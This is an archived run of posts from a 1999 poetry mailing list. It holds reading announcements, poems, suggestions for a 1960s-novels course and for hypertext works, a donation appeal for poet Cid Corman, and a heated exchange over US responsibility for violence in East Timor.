IN CHICAGO, CHECK OUT THESE EVENTS AT THE GUILD COMPLEX:

POETS ACROSS THE GENERATIONS IV featuring Piri Thomas and Luis Rodríguez

WHEN: Wednesday, September 8, 1999 at 7:30PM
ADMISSION: $7, $5 Students & Seniors, Host Mario

Guild Complex LIVE at the Nelson Algren Fountain
Featuring Eduardo Arocho, Denise LaGrassa, Mia Lahoz, Sherrille Lamb, Gregory Cullen Wagner, and Avery R. Young, Music by Stone

WHEN: Saturday, September 11, 1999 from 2pm to 5pm
ADMISSION: Free, Host Michael C. Watson

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SUBSCRIBE TO THE ELAN AT <http://webdelsol.com/solhome.htm>

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149. Dan Machlin

Mayer/Machlin Reading

Sun 12 Sep 1999

Poetry Reading:

BERNADETTE MAYER
&
DAN MACHLIN

@
THE DACTYL FOUNDATION
FOR THE ARTS AND HUMANITIES

Thursday, September 16th, 7:30 PM
64 Grand Street
New York City
212/[redacted]

↑ Index

150. Kimmelman, Burt
Cid Corman (more)
Sun 12 Sep 1999

I have just rec'd a letter from Cid Corman and his situation does indeed sound desperate - no money coming in except for charity or loans.

I am taking the liberty of reproducing a small part of the the letter:

"We live modestly and I prefer it so, but homelessness wont [sic] do the trick and there is that possibility - unless some real help occurs.

I don't like playing the beggar. I'm not good at it. But there is no choice."

Best way to get him money (it costs him $35.00 to cash a check) is to have your bank wire it to his bank:

Cid Corman (account name)
Account Number 095-0010328
Kyoto Shinyo Kinko Bank
Omuro Branch Omuro
Ukyo-ku Kyoto [redacted]
Japan
(bank tel: 075/[redacted]).

Burt Kimmelman

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151. Thurmon Manson
JIM HUNTER
Sun 12 Sep 1999

THESE MEMORIES IN MEMORIAM JIM HUNTER:

BILLY BEAN, send him deep, Santa Ana Junior College, but Hunter's a farmer

PINE TAR DOESN'T HELP

CAREW KNEW

PHIL NIEKRO ENEMY OF S.H.O.W.

(SIDEARM HOBOS OF THE WORLD)

PEANUTS POPCORN DOS EQUIS FELLATIO

I DON'T CARE IF I EVER GET BACK

BASES LOADED, BATTER NUMBER 9 AT THE PLATE: THROW:

slider
fastball
curve
slider

CSONKA IS BUNTING

CATFISH CHANGES IT UP AND GARVEY WHIFFS BECAUSE THE BATBOY GAVE HIM A FUNGO INSTEAD OF HIS LOUISVILLE SLOGGER!

35 or 36, his froarms

BUT CATFISH IS A CHRISTIAN AND JESUS GIVES HIM BRAIN DISEASE BECAUSE HE CLOTHES FROM LASORDA'S LOCKER

GOODBYE CATFISH SHUNTER!

THANKS TO YOU THE WORKING CLASS CANNOT GO THE BALLPARK ANYMORE WITH THE
WHOLE FAMILY!!

Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

↑ Index

152. Leonard Brink

Laynie Browne/Norma Cole Reading in S.F.

Mon 13 Sep 1999

Laynie Browne

& Norma Cole

will read poetry:

Monday, September 27th
7:00 pm.
@
Caffé Sapore
790 Lombard Street
(At Taylor, near Columbus)
San Francisco

↑ Index

153. Arielle C. Greenberg
Buffalo area literary stuff?
Mon 13 Sep 1999

This is for the actual Buffalo-area contingent on the list...I'm planning to attend the Susan Howe reading there on Friday night, and having never been to Buffalo before, wanted advice on what to do/where to go. I know I want to go to the Poetry Collection in the library, but was wondering how easy it is to browse through, and how much time I should plan on that. Then, what are the good bookstores, and where should I eat supper? I'm driving in from Syracuse, which has no good bookstores and almost no good places to eat supper, so I'm hoping for a change of scene...thanks!

If you can't post this to the whole list, could the list moderator please just answer?

Arielle

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154. Graham Foust
Lagniappe #3
Mon 13 Sep 1999

Benjamin "Down East" Friedlander and Graham "Midwest" Foust are pleased as all get-out to announce their summer issue (#3 for those keeping score at home):

Reviews of: Celona, Burkard, Spahr, Bernstein, Prevallet, Bloom, Dellamora/Fischlin, Clay/Phillips, and Huang by Joel, Graham, Ben, Brian, Dirk, Winnie, Benesis, Linda, and Jonathan.

Essays on recent Australian poetry and Jack Spicer by Logan Esdale and Wyman Jennings (respectively and respectfully).

A Portable Talk Special Supplement featuring portable talks by Leslie Bumstead and Jean Donnelly.

Be there. Aloha.

Lagniappe
http://www.acsu.buffalo.edu/~foust/lagniappe.html

↑ Index

155. Stephen Vincent
Re: Novels of the Sixties
Mon 13 Sep 1999

Another Country by James Baldwin

↑ Index

156. Poetics List Administration
Harry Matthews, Histoire...
Mon 13 Sep 1999

---

this came to the administrative account. thanks.

Histoire

Tina and Seth met in the midst of an overcrowded militarism. "Like a drink:" he asked her? "They make great Alexanders over at the Marxism-Leninism." She agreed. They shared cocktails. They behaved cautiously, as in a period of pre-fascism. Afterwards he suggested dinner at a restaurant renowned for its Maoism. "O,K.," she said, but first she had to phone a friend about her ailing Afghan, whose name was Racism. Then she followed Seth across town past twilit alleys of sexism.

The waiter brought menus and announced the day's specials. He treated them with condescending sexism. So they had another drink. Tina started her meal with a dish of militarism, While Seth, who was hungrier, had a half portion of stuffed baked racism. Their main dishes were roast duck for Seth, and for Tina broiled Marxism-Leninism. Tina had a pecan pie a la for dessert, Seth a compote of stewed Maoism. They lingered. Seth proposed a liqueur. They rejected sambuca and agreed on fascism.

During the meal, Seth took the initiative. He inquired into Tina's fascism,
About which she was rserved, not out of reticence but because Seth's sexism
Had aroused in her a desire she felt she should hide -- as though her Maoism
Would willy-nilly betray her feelings for him. She was right. Even her

deliberate militarism
Couldn't keep Seth from realizing that his attraction was reciprocated.
His own Marxism-Leninism
Became manifest, in a compulsive way that piled the Ossa of confusion
on the Peleion of racism.

Next, what? Food finished, drinks drunk, bills paid -- what racism Might not swamp their yearning in an even greater confusion of fascism? But women are wiser than words. Tina rested her hand on his thigh and, a-twinkle with Marxism-Leninism, Asked him, "My place?" Clarity at once abounded under the flood-lights of sexism, They rose from the table, strode out, and he with the impetuousness of young militarism Hailed a cab to transport them to her lair, heaven-haven of Maoism.

In the taxi he soon kissed her. She let him unbutton her Maoism And stroke her resilient skin, which was quivering with shudders of racism. When beneath her jeans he sensed the superior Lycra of her militarism, His longing almost strangled him. Her little tongue was as potent as fascism In its elusive certainty. He felt like then and there tearing off her sexism, But he reminded himself: "Pleasure lies in patience, not in the greedy violence of Marxism-Leninism."

Once home, she took over. She created a hungering aura of Marxism-
Leninism
As she slowly undressed him where he sat on her overstuffed art-deco
Maoism.
Making him keep still, so that she could indulge in caresses, in sexism,
In the pursuit of knowing him. He growned under the exactness of her
racism
--Fingertip sliding up his nape, nails incising his soles, teeth nibbling
his
fascism.
At last she guided him to bed, and they lay down on a patchwork of Old
American militarism.

Biting his lips, he plunged his militarism into the popular context of her Marxism-Leninism, Easing one thumb into her fascism, with his free hand coddling the tip of her Maoism, Until, gasping with appreciative racism, both together sink into the revealed glory of sexism.

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157. Maria Damon
Re: hypertext suggestions
Mon 13 Sep 1999

---

miekal and alan sondheim i think wd be best to contact. as for urls, may i suggest our (my and miekal's) "literature nation" at http://net22.com/qazingulaza/joglars/litnat/index.html

At 8:18 PM -0700 9/9/99, Dodie Bellamy wrote:
>Hi, I have an independent study student who is going to do a
>hypertext horror piece. I have no problem helping her with the
>horror end of the project, but also want to suggest some good
>hypertext pieces and/or theories. I'm sending her the urls of a
>couple things that have caught my eye, but does anyone have any
>suggestions of some cut-above hypertext links? Or even
>books/articles on hypertext?
>
>Thanks.
>
>Dodie

↑ Index

158. Poetics List Administration
Harry Matthews, Historie...
Mon 13 Sep 1999

---

apologies for omitting the "From" line & time sent. here we go again.

From: [redacted]
9/11/99, 9:31 PM +0000

Histoire

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159. Taylor Brady
Re: hypertext suggestions
Mon 13 Sep 1999

Dodie,

You might want to take a look at Charles Bernstein's syllabus for his Spring '98 prose seminar. The list of texts and links for weeks 6 and 7 are a good place to start, though many have some (possibly interesting, but to my mind, fairly serious) problems - i.e., the way Michael Joyce's writing might be marshalled into the service of the "new public university"'s corporate-auxiliary "public-private partnership model." Or Bolter's over-enthusiastic "hypertext-as-Paolo-Freire-in-a-box" pedagogical riffing...

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Dodie Bellamy
Sent: Thursday, September 09, 1999 8:18 PM
To: [redacted]
Subject: hypertext suggestions

Hi, I have an independent study student who is going to do a hypertext horror piece. I have no problem helping her with the horror end of the project, but also want to suggest some good hypertext pieces and/or theories. I'm sending her the urls of a couple things that have caught my eye, but does anyone have any suggestions of some cut-above hypertext links? Or even books/articles on hypertext?

Thanks.

Dodie

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160. Hilton Manfred Obenzinger
Re: Novels of the Sixties
Mon 13 Sep 1999

A while back I asked for suggestions for a satirical fiction course and received a lot of good suggestions, so here are a few: Catch 22, Cat's Cradle and Slaughterhouse 5, Naked Lunch and other Burroughs, early Ishmael Reed, Crying of Lot 49 and other early Pynchon, One Flew Over the Cuckoo's Nest, Portnoy's Complaint and other early Roth, late Dawn Powell. I'm sure there's much more, including Gilbert Sorrentino, Jack Kerouac, John Barth, Updike.

Hilton Obenzinger

On Thu, 9 Sep 1999, Maria Damon wrote:

> *At 4:41 PM -0800 9/8/99, Mark Salerno wrote:*
> *Colleagues:*
>
> *I'd appreciate hearing from anyone with suggestions for a course on the Novels of the Sixties. Of particular interest are novels that reflect, in form and/or content, the counter culture. The limit for this theme (arbitrary though it may be) is that the publication date of the book must fall between 1960 and 1970.*
>
> *Reply by backchannel.*
>
> *Thank you.*
>
> *Mark Salerno*
>
> *i'd be curious to hear folks's suggestions so if you don't mind frontchannel, mine is Leonard Cohen's Beautiful Losers.*

↑ Index

161. Michael Neff
Re: I can't believe it!!!
Mon 13 Sep 1999

Pete,

Before I write anyone, help me here, if you can. I'm not following this line of accusation. I need to be clear.

Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking them machetes? Did they get the machetes from America too? I suppose if their govt

hadn't bought arms from us years ago then all would be peaceful? This sounds naive to the point of absurdity.

I see no connection with what you are saying and the psychotic rampage fest going on in Timor. You've noted that Kissinger, etc, visited Timor and then the slaughters began. Is there an association here? If so, can you link it for me? I don't see it from what you are saying.

Must we blame the American gov for it, are we compelled? There are those who believe the US govt manufactures tornadoes to chase them around and wreck their barns. I don't believe that either, but thousands are convinced.

And why should the US support Timor seceding when we didn't support South Carolina, and certainly don't support Quebec? Also, plenty of money we send overseas, in one form or another, gets redirected and wasted. Witness the diversion of funds by Russian mafia. We turned the other way on Savac (sp?) in Iran, though our intelligence knew they were out of control, but did we do the same in Indonesia? And if we did, does this really account for the murdering we see now?

I'm listening. Perhaps you can educate me, flow chart me, graph me, time line me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or Chuck Rob or whoever in any conspiratorial setting, ignited and guided the genocidal gene that compels large groups of people to willfully set fires to other large groups of people.

Until you do, I'm not writing anyone.

Mike

pete spence wrote:

> *please put this out to all mailartists for action. also send a protest*
> *to:*[redacted]
> [redacted]
> [redacted]
> *thanks pete spence*
>
> *speak up and out about East Timor. It may also be just*
> *as good*
> *and probably easier to protest the American gov't for their ongoing role in*
> *the slaughter and oppression of the East Timorese. It was the American*
> *Gov't. that paid for and supervised the original Indonesian invasion, and*
> *the American gov't is trying hard to escape culpability with ambiguous*
> *declarations (coming from such shits as Madeline Albright) about the*
> *chaotic*
> *and oppressive state of affairs while also trying to take any potential*
> *actions and tie them up in red tape. Such action clearly gives the*
> *Indonesian gov't has a chance to tie up power once again while everyone*

> *else*
> *takes their time designating panels and working groups. Since a visit by Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian government, using mostly US-made and US-paid-for weapons and military intelligence support, has killed between 1/4 and 1/3 of the original inhabitants. That's about 200,000-300,000 people. We're talking concentration camps between 1975-1979. Paid for by US taxpayers. Certain people meant business when it all started 24 years ago; I don't think they mean any less harm now. If the US supported the democratic efforts of the East Timorese none of this probably would have happened.*
>
> *http://www.freetimor.com/*
>
> *http://www.lbbs.org/ZNETTOPnoanimation.html*
>
> *http://www.motherjones.com/east_timor/*
>
> *http://www.etan.org/*
>
> *regards,*
> *Patrick Herron*
>
> *so what the way i see it.. maybe better protest to the*
> *indonesian government on the handling of the east timorese might be a better*
> *usage of your time;* [redacted]
>
> *thanks pete spence*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*
>
> _____
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http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

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162. Philip Nikolayev

Re: call for work for Tinfish

Mon 13 Sep 1999

At 03:13 PM 9/11/99 -1000, you wrote:
>_Tinfish_'s covers are usually made separately from the issue's
>innards. But this time the designer Gaye Chan tells me that the next
>issue's cover will be made of historical cereal boxes (she found
>hundreds in a dumpster somewhere).
>
>SO: those of you from the Pacific region (especially), please send poems
>about boxes, in boxes, of boxes, boxly poems. Address: 47-391 Hui Iwa
>Street #3, Kaneohe, HI 96744 USA.
>
>AND: please buy the new issue ($5 per; $13 for three). I pay for
>everything myself (except for postage) and so your support is crucial to
>keep the enterprise going. Same address. Will give you a sense of what
>I look for, too.
>
>thanks much,
>
>Susan Schultz

Hey, I'm not from the Pacific Region, but I have a poem about boxes!

Cheers,
Philip Nikolayev

BOXES

Boxes are hoaxes of the imagination,
they fold out backwards
and proceed to foreclose themselves
from the other side
so as to afford a view,
which may or may not be outside
our purview.
Last night I stared into a box,
I was like a box within a box,
boxed in by a larger boxing.
To establish the level of nesting
is never possible, but possible is nothing,
I can box my way
out of a wet paper bag, but
bags are not boxes.

I couldn’t bag my way into
a dry paper box. The plastic box
my daughter likes to play with
at her nine years of age shines
to a transparency
no critic has yet dared to problematize.
Clear rolls the red ball on the gray carpet.
I am like that too.
Thus in the box of our life
trespassing magnolias
in morganatic obsession bow to me,
they linger in this miracle lens,
white and wide void
of hope. The yellow big
forsythia too has gone loony
near the steps of the library.
Have you seen it
where for some reason I,
an atrabilious bastard,
cast these lines
across a sky-spotted landscape
which causes tears to flow
and cheers to follow
and wonders where the seagulls go,
and where the swallow,
and where the mast,
all packed away into boxes of memory?
I open them and close them as I please,
as if they were divine.
As the logarithms in my heart click
with boxes of expectation, so
the bottleneck of proclivity
simply turns to the shoebox at the entrance.
The flowers are still on the floor,
and then all these boxes of books,
boxes of knowledge
in the basement. Why
do we keep them? Because boxes are peace.
A blue fox in a black box
is unknowable.

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163. Kyle Conner
Highwire reading @ 3PM
Mon 13 Sep 1999

3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM 3PM ********** Coming at ya like locusts....

H_I_GH__W_IR_E reading series presents:

> *Kristin Prevallet <<*

&&&&&& >> Matt Hart <<

Highwire Gallery, 139 N. 2nd St, Phila.
Sat., September 18, 3PM
(note: NOT OUR NORMAL TIME. IF you show up at 8pm, you will be witness to a
FRINGE festival avant garde musical performance put on by IMP, not a poetry reading. Tell yr friends!)

POETS:

Kristen Prevallet lives in Greenpoint, Brooklyn. She is writing an essay about woman authors writing during the Beat Generation.

Matt Hart is earning a Ph.D. from the University of Pennsylvania.

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164. shana
Re: Novels of the Sixties
Mon 13 Sep 1999

---

dammit billy i was gonna say trout fishing in america

but also
slouching towards bethlehem -joan didion
valley of the dolls-jacqueline suzann
the kandy-kolored tangerine-flake streamline baby-tom wolfe
a sport and a pastime-james salter
the chosen-chaim potok
the painted bird-jerzy kosinski

sorry for the bourgeoisie, don't hold my 22 years against me!

shana
http://www.bway.net/~shana

↑ Index

165. **jocelyn saidenberg**
Harryman and Lu read at SPT
Mon 13 Sep 1999

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*** SMALL PRESS TRAFFIC READING***

Carla Harryman
Pamela Lu
Friday, September 17, 7:30 p.m.

Carla Harryman is as famous for the books she hasn't yet published (such as her novel in progress, Gardener of Stars, or the collaboration with Lyn Hejinian, The Wide Road) as for the ones she has. Today we're here to celebrate the move of one long-awaited work from column A to column B, as O Books presents us with The Words, Harryman's unique blend of Carl Sandburg's Rootabaga Tales and Jean-Paul Sartre's The Words. Harryman is the author of Vice, Animal Instincts, There Never Was a Rose without a Thorn, and the play Memory Play. With its extended narrative games, its fateful Sadeian psychology, The Words fractures childhood and conventional notions of the child, revealing the fever dream of selfhood under the placid skin of youth, of poetry, of the amused. We've missed her in the Bay Area since she took off for the wilds of Grosse Pointe, and oh, how we're glad she's back.

Pamela Lu took Harryman's tentative, ambiguous 'we' and ran with it the full nine yards in Pamela: a Novel (Atelos), which some critics have acclaimed as the "last masterpiece of the 20th Century." When you're Pamela Lu, you have the reclamé of your peers, the admiration of your elders, the wisdom of one far beyond your years, and a prose style at once grave and gay, filtered and remarkably direct. You've already grown up in a "provincial region of Southern California," studied math at UC Berkeley, moved to the Mission. You co-edit Idiom, the "occasionally productive" online journal and chapbook press. Your attention has turned to a new blend of poetry, history, determination and weness, "The Accused." To cap it all off you have joined the board of Small Press Traffic, because, just because, you're Pamela Lu.

New College Cultural Center
766 Valencia Street, San Francisco
$5

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110

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www.sptraffic.org
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<fontfamily><param>Times_New_Roman</param><bigger><bigger>***SMALL PRESS TRAFFIC READING***

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Pamela Lu

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166. Emily Lloyd
Writing Through Ally
Mon 13 Sep 1999

The WashPost's TV Guide makes the following summary of tonight's "Ally McBeal" episode:

'The firm gathers at Ally's place to celebrate the launch of Elaine's "Face Bra"; a smitten John Cage tries to spark a fire with Nelle.'

em

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167. Alan Sondheim
untitled
Mon 13 Sep 1999

=

Untitled

With the slightest increase in temperature, a packet is dropped off at a site of my loved one. It waits, trembling, for others, all organized into the coherency of beauty, "the harmony of chance and the good" (Simone Weil). All together, in wonderful bewilderment, they form a whole, their long and arduous journeys forgotten. How wonderful, my loved one exclaims, that he has written a letter.

Under what circumstances can we speak for the other? Only in the face and throes of death, under an alterity permanently limiting, incomprehensible. Then we may speak, and speak for no one and anyone at all. There, at the threshold, all speech is permitted; a black ocean laps at the base of the cliff, its temperature at absolute zero.

I will wait forever from your message, from the community of the dead; I will wait in your presence, a supplication of chains among chains. I am lost in empty

knowledge. Names are a bother; they shudder against the pulverization of walls.

Peeling, or turning away, the routers report errors; the reports never reach you, an expanding shell of packets generated by others lost in the absence of dreaming.

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168. Billy Little
Re: Novels of the Sixties
Tue 14 Sep 1999

---

i'm embarassed to see i've left out the three fine novels of ishmael reed
free lance pallbearers
yellow back radio broke down
mumbo jumbo
ann beatties work
jayne anne phillips and
fielding dawsons exemplary work
nabokov's ada
zukofsky's little
chester himes pinktoes
alice walker's meridian
norman mailer's why are we in vietnam
doctorow's we;lcome to hard times
& book of daniel
coover's public burning
ginger man by donlevy
the magic christian and
candy by terry southern
akbar del piombo's work
ronald sukenick's work

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

169. Stephen Ellis
Re: Novels of the Sixties
Tue 14 Sep 1999

I suggested Irving Rosenthal's 1967 novel SHEEPER.

> *From: Maria Damon <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: Novels of the Sixties*
> *Date: Thu, 9 Sep 1999 15:11:22 -0500*
>
> *At 4:41 PM -0800 9/8/99, Mark Salerno wrote:*
> *Colleagues:*
>
> *I'd appreciate hearing from anyone with suggestions for a course on the Novels of the Sixties. Of particular interest are novels that reflect, in form and/or content, the counter culture. The limit for this theme (arbitrary though it may be) is that the publication date of the book must fall between 1960 and 1970.*
>
> *Reply by backchannel.*
>
> *Thank you.*
>
> *Mark Salerno*
>
> *i'd be curious to hear folks's suggestions so if you don't mind frontchannel, mine is Leonard Cohen's Beautiful Losers.*

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170. david bromige
Novels of the 60's
Tue 14 Sep 1999

Billy Little's list is quite comprehensive. Going by the "arbitrary" guidelines, tho, _On the Road_ is off-limits. Are Brits allowed? _The Magus_ and _The Collector_ , both by John Fowles, if so. I see Billy incliudes Canucks, so what were Alice Monroe and Margaret Atwood publishing in that decade?

Stretching the guidelines, and back in the States, I recommend two by Gerald Rosen, _Blues for a Dying Nation_ (1972, but written and set in the 60s), and _The Carmen Miranda Memorial Flagpole_ , published in '76 but abt the death and the survival of the 60s; and v. funny.

Robert Creeley's _The Island_ , 1963.

Charles Potts, _Valga Crusa_ (= _Shit Crackers_ + _The Yellow Christ_)..THE definitive novel/s of Berkeley in the 60s from the p-o-v of a drugged-up street-poet. O.P.,but possibly available from the author, now resident in Wash state. I can put you in touch w him.

best, David Bromige

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171. **Lawrence Upton.**
Re: I can't believe it!!!
Tue 14 Sep 1999

From: Michael Neff <[redacted]>
Sent: 13 September 1999 18:14

| Pete,
| Since we've had involvement in Indonesia, it must be our fault that the
| Indonesian army and brother gangs are slaughtering people in churches, hacking
| them machetes? Did they get the machetes from America too? I suppose if their
| govt hadn't bought arms from us years ago then all would be peaceful? This
| sounds naive to the point of absurdity.

All might be more peaceful if the Indonesian occupation of East Timor had not been recognised by USA and UK, "my" country, Australia and so many others; and the murderers in Indonesia might be less formidable if they had not been trained by "the West"

| Must we blame the American gov for it, are we compelled?

it is too simplistic to do so. But the USA government is deeply implicated and I do not accept the arguments coming from USA or UK to explain why it is right to have bombed Iraq and Serbia, but to haver over other countries... the degree of implication would be quite enough for a citizen to be convicted of complicity in a UK or USA court

| And why should the US support Timor seceding when we didn't support South
| Carolina, and certainly don't support Quebec?

Why did the US government - and UK etc - support Timor being occupied? If they hadn't been occupied, within my lifetime, they wouldn't have to "secede"

| I'm listening. Perhaps you can educate me, flow chart me, graph me, time line

| me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or
| Chuck Rob or whoever in any conspiratorial setting, ignited and guided the
| genocidal gene that compels large groups of people to willfully set fires to
| other large groups of people.

do you mean like the use of napalm in Vietnam (or other weapons producing fire in Iraq, or Serbia) or are you thinking of a different more acceptable form of setting fire to people? do tell

Lawrence Upton

The Sub Voicive Poetry website:
http://www2.crosswinds.net/members/~subvoicivepoetry/

Lawrence Upton's website:
http://members.spree.com/sip/lizard/index.htm

RWC
http://members.tripod.com/~ReadandWrite/contents.html

|

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172. Hilton Manfred Obenzinger
Re: I can't believe it!!!
Tue 14 Sep 1999

Michael --

I understand that you may think that the connections between the US and East Timor are tenuous, at best, but, like many poems, there is much operating below what appears to be flat surfaces. US involvement in Indonesia -- not even counting the massacre of 1 million in the overthrow of Sukarno -- goes back to Kissinger, when Indonesia decided to annex East Timor, muting the US response and preventing the UN or anyone else from intervening, then strengthening aid to the Suharto regime. All of this flows from Cold War logic -- particularly when other newly independent Portuguese colonies such as Angola and Mozambique were displaying too much independence. East Timor was an annexation by force of a people with a different colonial history and different identity, so it is not quite the same as the examples you gave. The international community condemned the annexation, and after decades of massacres the East Timorese finally got their chance to vote for independence -- and took it. All of

this exposes decades of American complicity and double standards. No, the militia thugs are not Americans -- and they are accountable -- and neither were the tonton macoutes in Haiti, but America bears much responsibility there as well. I hope this helps clarify the situation a little for you.

Incidentally, isn't it about time that Kissinger was arrested for war crimes?

Hilton Obenzinger

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173. **hassen**
Re: Culture and Anarchy
Tue 14 Sep 1999

---

culture and anarchy indeed! laughing with the following

From: Alan Sondheim
Date: Monday, September 13, 1999 11:46 AM
Subject: Culture and Anarchy

>> "You are wrong," said the Secretary, drawing his black brows together. "The knife was merely the expression of the old personal quarrel with a personal tyrant. Dynamite is not only our best tool, but our best symbol. It is as perfect a symbol of us as is incense of the prayers of the Christians. It expands; it only destroys because it broadens; even so, thought only destroys because it broadens. A man's brain is a bomb," he cried out, loosening suddenly his strange passion and striking his own skull with violence. "My brain feels like a bomb, night and day. It must expand! It must expand! A man's brain must expand, if it breaks up the universe."

(quotes from The Man Who was Thursday, G. K. Chesterton.)
<<

but! :

from Ducornet's *Phosphor in Dreamland*

"A stinkpot!" Fogginius could be heard hollering throughout that deadly weather. "A fumigation! A holy war!" And Clay was bellowing--that his brain was boiling, boiling so fast his head could not contain it...this brain was a pig roasting in the pit of his skull-- "Roasting in its own juices!" [...] "My brain's ejaculating!" Clay was sobbing, "into God's fist!" [...] "What is architecture? Clay droned, "if it is not the brainchild of alphabet? the burial ground of animality? the alpha of exile from Eden? A tangible mathematics encrusted with the...the lime of, the lime of human pretension?" It was then that a detonation pierced their ears--a sound so fierce the reverberating wilderness stilled to silence and they saw the thug's body caroming through branches and leaves,

branches and leaves...and Clay lay dead at Phosphor's feet, the top of his skull torn off. Already the wound was black with flies. [...] Fantasma, his musket smoking, stood over his strongman's corpse: "If I hear the sound of another human voice," he said, "if anyone dares speak, *I will blow out his brains too.*"

*

all for expansion,
hassen

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174. Poetry Project
novel of the 60s
Tue 14 Sep 1999

As for novels of the 60s,

would suggest THE FAN MAN by William Kotzwinkle

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175. Steven Shoemaker
Re: hypertext suggestions
Tue 14 Sep 1999

Dodie--There's a quite interesting hypertext called Patchwork Girl, by Shelley Jackson, which sews together bits of Frankenstein, feminist theory, dream work, etc. Reminds me at times, actually, of Letters of Mina Harker. You can get it from Eastgate Systems for either Mac or Windows. steve

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176. Patrick Herron
US/Aus/Indonesia/E Timor
Tue 14 Sep 1999

Mike, Pete, etc. - I suppose this line is perhaps my responsibility, so let me explicate some basic notions here, as quickly as I can.

>Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking them machetes?

I think this question oversimplifies the issue. I was addressing complicity and support and motives and awareness. The Indonesians and Americans and Australians all have a share in the responsibility, and to reduce it to "fault" of one group would be irresponsible. I encouraged Pete to include the US accountability.

> *Did they get the machetes from America too?*

No, but the militias are there with US and Australian financial and military support. And it's not all machetes. I believe that your point about who is actually doing the killing is an excellent one, but sometimes people can strongly shape an environment and give orders in exchange for something. If this were not the case then perhaps humans would have never known war.

> *I suppose if their govt hadn't bought arms from us years ago then all would be peaceful?*

Actually, yes. The East Timorese were pretty much left alone by the Portuguese. The East Timorese were a primitive culture in the sense that they didn't have guns or television or refrigerators; they were tribal and isolated from the industrialized world. The US and Australia knew of the vast amount of wealth in the Timor Gap, but couldn't get to it, b/c that would have started a war with Portugal. When Portugal left, there was suddenly an angle that could be played. The US could not afford to deply its own troops, largely b/c of the Vietnam legacy, and also b/c they had someone, namely Suharto, who could do the dirty work for them, keeping the US squeaky clean. Besides, the US wished to prove that it was not abandoning its attempt to control SE Asia, as is reflected in several presidential memos during the time of these visits that you were referring to.

The US put Suharto in power; he was a US puppet leader. Indonesia is still pretty much a US puppet today. And Australia isn't going to go against American interests, if one realistically asseses the nature of modern geopolitics. They share too many interests.

>This
sounds naive to the point of absurdity.

It sounds like you have an a priori here that is untouchable. Your belief sounds naive to my ears. Naive, but from what perspective? "Ignorance is Strength"? "2+2=5"?

> *I see no connection with what you are saying and the psychotic rampage fest going on in Timor.*

It is a calculated psychotic rampage. You don't have to see it; the world will go on without your seeing it. Though it would be better if you could see it. The rampage is funded and it has a history of complicity and support. The militias are either indonesians/jakartans that have settled there, finding pay as mercenaries, or even some east timorese deeply scarred from the concentration camp environment they grew up in. Keep in mind that the killing has been much much much worse in the past than it is now; also remember that the east timorese were hereded and slaughtered like cattle so that the indonesians could

settle there and erase the history of the East Timorese. It is incredible how resilient and strong the East Timorese people have proven themselves.

>You've noted that Kissinger, etc, visited Timor and then the slaughters began. Is there an association here? If so, can you link it for me?

Kissinger and Scowcroft, as representatives of the NSA (though they were also cabinet members) went with Ford on several occasions to visit with Suharto. Following the first visit, Indonesia deployed mercenaries into East Timor. the last visit (Dec. 6, 1975) presaged the full fledged invasion the following day. Suahrto worked for the US government, and the connection being made here, I leave to you to make for yourself. the US media practically ignored the slaughter that followed for the next 4 years. some australian reporters made it in to report the concentration camps, the genocide, and most of those reporters were murdered. Now why would the US media ignore the slaughter? When you look at the companies invested in the exploration of the Timor Gap, their board of directors, and their advertising dollars, and the dead reporters trying to reveal the truth, you can then perhaps start to imagine why coverage starts to disappear.

>Must we blame the American gov for it, are we compelled?
And why should the US support Timor seceding when we didn't support South Carolina, and certainly don't support Quebec?

The US government does not support complete secession of East Timor. But, 25 years of slaughter hasn't tamed the populace. Indonesian rule isn't working, clearly. And complete East Timorese independence would be a financial disaster for Phillips 66, BHP, Chevron, Texaco, and several other large companies invested in the exploitation of the Timor Gap, which rests completely on treaties between Australia and Indonesia. And who sits on the board of directors of these companies? People from the Dep't of Defense, Boeing, Lockheed Martin, Knight ridder, Time Warner, Weyerhauser, former Secretaries of State, and on and on. The solution, therefore, is US military presence. replacing one invasion (the indonesian invasion) with another. Perhaps we are going to do good and keep the peace. Most likely a new wave of rebels will disappear and these treaties will be protected or revised so that these companies will still get their share and the East timorese will get nothing but a destroyed environment and exploitation. That's capitalism.

Are we compelled? I am compelled. Completely. And many other informed parties are as well.

> *but did we do the same in Indonesia? And if we did, does this really account for the murdering we see now?*

Yes, at least partially. First, it was never a matter of us just turning our backs; the US government supported it financially and with military training and intelligence. I blame the idiots running around with machetes just as much as I blame the people who set up the power relation structure in the region. Sadly, the implication of this is that there may never be a good resolution. The US will not let its investments collapse, and if the US did, political heads will roll. Money talks.

I ask you, for example, if you gave a starving person a gun, a person you starved, told him that there's food at the end of the road inside someone's house, and promised him that if he went and fed himself by using that gun to get to the food then you would give him $100, who do you blame? Just blame the beggar? Just blame the deal maker? Both the dealmaker and the beggar are to blame here. But if the beggar was starved by the dealmaker in the first place, then, i think that blame is a personal decision.

And that's if we just stick to blame. Why not use the past, use history and its obscured truths just to inform our present and future decisions? Like by encouraging a UN peacekeeping force without participation from the US, Australia, Britain, New Zealand? I'm not really into blame. I like to be informed and make good decisions and encourage others to do the same. I'm not for throwing anyone in jail here. I'd just like the cycle of atrocities and exploitation to stop.

There's so much history that has led up to this and it is very hard to get any information on how arms are flowing, dollars are being spent, behind the scenes exchanges, etc. Some of us do our best to research what is going on, and admittedly the research is never perfect or unbiased. My bias is that western exploitation of third world nations for export crops and mineral/oil resources and/or drugs, and the deliberate provocation of politically explosive situations for the sake of increasing arms sales is intolerable. I wished that my country represented democracy and the values of freedom it claims to represent; it is clear that i can no longer naively cling to such a belief.

